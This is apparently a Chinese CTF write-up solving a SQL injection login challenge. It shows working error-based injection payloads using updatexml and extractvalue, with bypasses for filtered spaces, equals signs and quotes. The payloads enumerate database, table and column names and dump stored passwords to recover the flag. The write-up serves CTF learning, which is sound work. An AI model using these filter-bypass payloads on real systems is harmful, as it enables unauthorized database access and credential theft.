s

万能密码 admin’ or ‘1’=’1 存在过滤:

admin尝试:

image-20210815163646266

image-20210815163712626

单引号过滤:

or

image-20210815164050044

空格过滤

等号过滤

and

发现过滤掉的关键词太多了,使用报错注入:

image-20210815164623835

这里采用updatexml报错注入:

空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号,用’^’来连接updatexml函数,结合了异或。

接下来就是常规操作:查库–查表–查字段–查数据

第一步查库名:

payload:

#版本
check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
#库名
check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

image-20210815165649990

image-20210815165536399

数据库名:geek

第二步查表名:

payload:

http://0b6cd46f-fec4-4a74-be1a-cd9ac8d0075f.node4.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

image-20210815165855634

表名为:H4rDsq1

第三步查字段:

payload:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

image-20210815170201761

列名也就是字段名:

id username password

最后一步查数据:

payload:

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21

image-20210815170413084

只得到一半,使用left()right()方法拼接:

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

image-20210815171621443

得到flag。

另一种方法:

我们同样也可以使用

extractvalue()

报错注入方法

1.查数据库名:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

2.查数据库中表名:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

3.查表中的字段值:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

4.爆数据:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

指出来了一半:

image-20210815170918507

使用{left(),right()}

http://0b6cd46f-fec4-4a74-be1a-cd9ac8d0075f.node4.buuoj.cn///check.php
?username=admin
&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php
?username=admin
&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

image-20210815171211301

左右拼接就得到想要的结果。